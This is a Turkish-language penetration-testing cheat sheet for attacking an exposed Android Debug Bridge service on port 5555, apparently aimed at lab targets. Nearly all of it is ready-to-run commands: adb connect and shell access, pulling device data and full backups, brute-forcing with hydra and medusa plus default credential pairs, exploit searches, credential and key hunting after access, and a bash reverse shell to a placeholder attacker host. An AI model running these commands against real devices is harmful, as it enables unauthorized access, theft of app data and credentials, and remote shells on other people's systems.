5555 - Android Debug Bridge

ADB android

Açık ADB (TCP/5555) cihaz kabuğu demektir. connect + shell ile uygulama verisi ve pivot. Hedef lab IP’si üzerinde komutları 5555 portuna göre uyarla; her başarıyı ayrı kanıtla.

Metodoloji

1. 5555 doğrula.

2. adb connect.

3. shell/id.

4. pull data ve reverse tünel.

Keşif

nmap -Pn -sV -p5555 TARGET

adb connect TARGET:5555

adb devices

Shell

adb -s TARGET:5555 shell id

adb -s TARGET:5555 shell

adb -s TARGET:5555 shell pm list packages

Loot

adb -s TARGET:5555 pull /sdcard/loot ./

adb -s TARGET:5555 backup -f backup.ab -all

adb -s TARGET:5555 reverse tcp:8080 tcp:8080

Derin enum

Android Debug Bridge için ek keşif ve fingerprint.

nmap -Pn -sV -sC -p5555 TARGET

nmap -Pn -p5555 --script safe,discovery TARGET

timeout 5 bash -c 'echo | openssl s_client -connect TARGET:5555' 2>/dev/null | head

python3 -c "import socket;s=socket.create_connection(('TARGET',5555));s.settimeout(3);print(s.recv(4096))"

Banner / TLS / ALPN notları → Android Debug Bridge

Kimlik & brute (ek)

hydra -L users.txt -P rockyou.txt -s 5555 PROTOCOL://TARGET -t 4

medusa -h TARGET -U users.txt -P rockyou.txt -M PROTOCOL -n 5555

nmap -p5555 --script '*-brute' TARGET

admin/admin, root/root, guest/(boş), test/test

Exploit arama

searchsploit ADB

msfconsole -q -x 'search ADB; exit'

nuclei -u https://TARGET:5555 -t cves/ -silent -severity || true

nuclei -u http://TARGET:5555 -tags tech -silent || true

Manuel protokol

nc -nv TARGET 5555

printf '
' | timeout 3 nc -nv TARGET 5555

curl -vk --http1.0 http://TARGET:5555/

Wireshark/tcpdump ile konuşmayı kaydet; replay dene

Post-erişim & loot

config, key, session, env, backup

find / -name '*.conf' -o -name '*.env' -o -name 'id_rsa' 2>/dev/null | head

ss -lntp; ip a; cat /etc/passwd | head

bash -i >& /dev/tcp/ATTACKER/443 0>&1

mkdir -p loot && tee loot/notes.txt

Operasyon checklist

[ ] Fingerprint / sürüm
[ ] Auth ve anonim erişim
[ ] PoC etki gösterildi
[ ] Credential/shell paketlendi
[ ] Pivot notu

Zincir

adb connect → shell → pull app data → pivot